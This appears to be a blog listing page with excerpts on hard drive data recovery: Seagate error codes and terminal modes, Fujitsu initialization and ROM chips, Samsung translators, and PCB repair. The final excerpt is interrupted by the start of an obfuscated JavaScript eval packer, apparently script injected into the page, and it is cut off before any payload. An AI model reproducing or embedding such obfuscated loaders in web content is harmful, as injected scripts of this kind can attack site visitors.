Data Recovery Tips

Samsung HDD Translator modules And Peculiarities

Although Samsung hdd is acquired by Seagate but we will still have some time many samsung drives in the market which can be patient and brought to your data recovery labs.  SpinPoint series of Samsung drives use a dynamic translator, i.e. the...

 

Initialization Of Fujitsu drives

Fujitsu Limited has transferred its hard disk drive (HDD) business to Toshiba Corporation on October 1st, 2009. Fujitsu drive initializes itself at power-up as follows: 1. Power-up. 2. Self-diagnostics 1: – data bus and MPU address test –...

 

Seagate HDD error codes part 2

47: Missed data sync byte 48: Missed data sync after a split 49: Thermal asperity code 4A: Error didn’t repeat during dynamic sparing mini cert (usually refers to cases of log overflow) 4B: Error log full 4C: Controller stopped without...

 

Seagate HDD error codes part 1

It’s very important to read some hdd error codes when you are using some Seagate hdd repair tools like pc3k or hd doctors within their cmd mode.  If an error is detected, a drive outputs to terminal its code and brief additional information. ...

 

Fix hard drive detected as slave only

The problem can be caused by a short circuit on PCB or a spindle controller malfunction. One contact of the Master jumper is connected to the ground circuit, the other is linked through a resistor array to pin 59 of the SH6950 spindle controller...

 

Seagate COM and ATA Terminal Modes

Some Seagate drives based on Barracuda architecture can function both in COM and ATA terminal modes. Their list includes U5, Barracuda I – IV. At power-on such drives immediately switch to work via COM port. While running in COM terminal mode...

 

2.5″ Fujitsu drives ROM chips

2.5″ Fujitsu drives ROM chips

Fujitsu HDD repair is characterized by some peculiarities. They include the presence of resident microprocessor code (overlay), a large number of incompatible firmware versions, and differences in the HDA construction and service data structure...

 

How to diagnose and repair Hitachi hard drives

The following is the general process to handle hitach hard drive diagnosis and repair, it’s not a must-have process but give you one general idea. Actually this process can be also used with other doctors like HD Doctor for WD, Maxtor,...

 

Seagate Momentus Mercury PCB Chips

Seagate Momentus Mercury PCB Chips

Chip 1>>: Read/Write Channel Interface Circuit Micro Processor (MPU-RAM &ROM) Servo Control Circuit Chip 2>>: Buffer RAM Chip 3>>: External Flash ROM Chip 4>>: VCM Power AMP Spindle Motor Power AMP Data recovery...

 

No ROM basic system halted Fix

No ROM basic system halted Fix

Why eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return...